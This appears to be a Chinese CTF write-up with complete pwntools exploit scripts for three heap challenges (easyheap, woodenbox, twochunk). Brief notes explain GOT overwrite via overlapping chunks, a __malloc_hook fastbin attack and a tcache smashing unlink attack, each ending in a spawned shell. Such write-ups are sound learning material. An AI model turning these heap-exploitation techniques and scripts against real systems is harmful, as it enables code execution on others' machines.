1.easyheap

  • 利用申请堆块时先申请在检查,未初始化堆,然后重叠堆,在打free_got。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
#context.log_level='debug'
if args.Q:
	io=remote('node3.buuoj.cn',26022)
else:
	io=process(['./easyHeap'])
elf=ELF('./easyHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
free_got=elf.got['free']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sla=lambda a,b:io.sendlineafter(a,b)
sl=lambda a,b:io.sendafter(a,b)
ru=lambda a:io.recvuntil(a)
rv=lambda a:io.recv(a)
ia=lambda :io.interactive()
sa=lambda a,b:io.sendafter(a,b)

def add(lo,ct):
	sla('choice:\n','1')
	sla('message?\n',str(lo))
	sa('message?\n',ct)
def dele(idx):
	sla('choice:\n','2')
	sla('deleted?\n',str(idx))
def edit(idx,ct):
	sla('choice:\n','3')
	sla('modified?\n',str(idx))
	sa('message?\n',ct)
def leak():
	add(0x18,'a')#0
	add(0x18,'b')#1
	dele(0)
	dele(1)
	add(0x410,'c')#1
	add(0x18,'aaaa')#2
	edit(0,p64(0)+p64(0x21)+p64(free_got))
	edit(1,p64(puts_plt))
	edit(0,p64(0)+p64(0x21)+p64(0x6020d0))
	edit(1,p64(puts_got))
	dele(2)
	leak=u64(ru('\x7f')[-6:].ljust(8,'\x00'))
	log.success('puts_leak==>'+hex(leak))
	return leak
def pwn(leak):
	libc_base=leak-libc.sym['puts']
	system=libc_base+libc.sym['system']
	log.success('libc_base==>'+hex(libc_base))
	log.success('system==>'+hex(system))
	edit(0,p64(0)+p64(0x21)+p64(free_got))
	edit(1,p64(system))
	#gdb.attach(io)
	#pause()
	add(0x10,'/bin/sh\x00')#3
	dele(2)
	ia()
if __name__=='__main__':
	leak=leak()
	pwn(leak)

2.woodenbox

  • stdout泄漏libc,1/16概率,然后fastbin打malloc_hook。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
#context.log_level='debug'
if args.Q:
	io=remote('node3.buuoj.cn',29237)
else:
	io=process('./woodenbox2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
sla=lambda a,b:io.sendlineafter(a,b)
sa =lambda a,b:io.sendafter(a,b)
sl =lambda a:io.sendline(a)
ia =lambda :io.interactive()
ru =lambda a:io.recvuntil(a)
rv =lambda a:io.recv(a)

def add(sz,ct='a'):
	sla('choice:','1')
	sla('name:',str(sz))
	sa('item:',ct)
	
def edit(idx,sz,ct):
	sla('choice:','2')
	sla('item:',str(idx))
	sla('name:',str(sz))
	sa('item:',ct)
	
def dele(idx):
	sla('choice:','3')
	sla('item:',str(idx))
	
def leak():
	add(0x20)#0
	add(0x40)#1
	add(0x60)#2
	add(0xa0)#3
	edit(0,0x200,'a'*0x20+p64(0)+p64(0xc1))
	dele(1)
	dele(1)
	add(0x40)
	edit(0,0x100,'a'*0x40+p64(0)+p64(0x71)+'\xdd\x65')
	gdb.attach(io)
	pause()
	add(0x60)
	add(0x60)
	edit(3,0x1000,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00")
	rv(0x40)
	leak=u64(rv(6).ljust(8,'\x00'))-0x3c5600
	log.success('leak==>'+hex(leak))
	return leak
def pwn(leak):
	malloc_hook = leak+libc.sym['__malloc_hook']
	one_gadget=leak+0x4526a
	realloc =leak+libc.sym['realloc']
	log.success('malloc_hook==>'+hex(malloc_hook))
	log.success('one_gadget==>'+hex(one_gadget))
	add(0x60)#4
	add(0x60)#5
	dele(4)
	edit(1,0x10,p64(malloc_hook-35))
	add(0x60)
	add(0x60)
	edit(5,0x100,'a'*11+p64(one_gadget)+p64(realloc))
	sla('choice:','1')
	sla('name:','1')
	ia()	
	
if __name__=='__main__':
	leak=leak()
	pwn(leak)

3.twochunk

  • 这题用的是glibc2.29&2.30下新利用方式。原理是tcache smashing unlink attack ,其实就是unsortbin转到smallbin然后利用tcache_put写任意地址fd为一个接近libc的地址。这题tcache、留了两个空,用于拿到fake_chunk也就是刚开始输入message那个地方。不过说实在这个拿地址,其实没什么太多的用处,应该还要去控制目标地址的fd。这样就很难。不过对于这一题就比较要效果。
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch='amd64',os='linux',timeout=1)
context.log_level='debug'
libc=ELF("/home/dingjie/libs/2.30-0ubuntu2.1_amd64/libc-2.30.so")
if args.Q:
	io=remote()
else:
	io=process("./twochunk")
	
	
def sendmsg(name,message):
	io.sendafter("name: ",name)
	io.sendlineafter("message: ",message)

def add(idx,size):
	io.sendlineafter("choice: ",'1')
	io.sendlineafter("idx: ",str(idx))
	io.sendlineafter("size: ",str(size))

def dele(idx):
	io.sendlineafter("choice: ",'2')
	io.sendlineafter("idx: ",str(idx))

def show(idx):
	io.sendlineafter("choice: ",'3')
	io.sendlineafter("idx: ",str(idx))
	
def edit(idx,ct):
	io.sendlineafter("choice: ",'4')
	io.sendlineafter("idx: ",str(idx))
	io.sendafter("content: ",ct)

def s_y_m():
	io.sendlineafter("choice: ",'5')

def l_y_m(msg):
	io.sendlineafter("choice: ",'6')
	io.sendlineafter("message: ",msg)
def backdoor():
	io.sendlineafter("choice: ",'7')


def leak():
	sendmsg(p64(0x23333000+0x20)*6,"a")
	add(0,0xe9)
	dele(0)
	add(0,0xe9)
	dele(0)
	add(0,23333)
	gdb.attach(io)
	pause()
	show(0)
	heap=u64(io.recv(6).ljust(8,'\x00'))-0x2a0
	log.success("heap_leak==>"+hex(heap))
	dele(0)
	for i in range(5):
		add(0,0x88)
		dele(0)
	for i in range(7):
		add(0,0x188)
		dele(0)
	add(0,0x188) 
	add(1,0x300) #这里用来防止chunk被top chunk合并
	dele(0)		 #释放chunk0 ,这个chunk会被释放进入unsortbin 
	add(0,0xf0)	 #程序会从 chunk0也就last remainder切割 走0x100大小
	dele(0)		 #然后释放上次切割 的0x100大小的chunk
	add(0,0x100) #再次申请0x100大小chunk 这样先前last remainder分割的两个chunk也会进入 smallbin
	dele(0)
	dele(1) 
	
	
	
	add(0,0x188)
	add(1,0x300) #这里用来防止chunk被top chunk合并
	dele(0)      #释放chunk0 ,这个chunk会被释放进入unsortbin 
	add(0,0xf0)  #程序会从 chunk0也就last remainder切割 走0x100大小
	    #然后释放上次切割 的0x100大小的chunk
	dele(1)
	add(1,0x100) #再次申请0x100大小chunk 这样先前last remainder剩下的chunk也会进入 smallbin
	
	edit(0,'\x00'*0xF0+p64(0)+p64(0x91)+p64(heap+0x1350)+p64(0x23333000-0x10))
	
	dele(1)
	gdb.attach(io)
	pause()
	add(1,0x88)
	s_y_m()
	#gdb.attach(io)
	#pause()
	libc_leak=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	log.success("libc_leak==>"+hex(libc_leak))
	return libc_leak
def pwn(libc_leak):
	libc_base=libc_leak-0xf0-libc.sym["__malloc_hook"]
	system=libc_base+libc.sym["system"]
	binsh=libc_base+libc.search("/bin/sh").next()
	log.success("libc_base==>"+hex(libc_base))
	log.success("system==>"+hex(system))
	log.success("binsh==>"+hex(binsh))
	l_y_m(p64(system)+p64(binsh)*10)
	backdoor()
	io.interactive()
if __name__=='__main__':
	leak=leak()
	pwn(leak)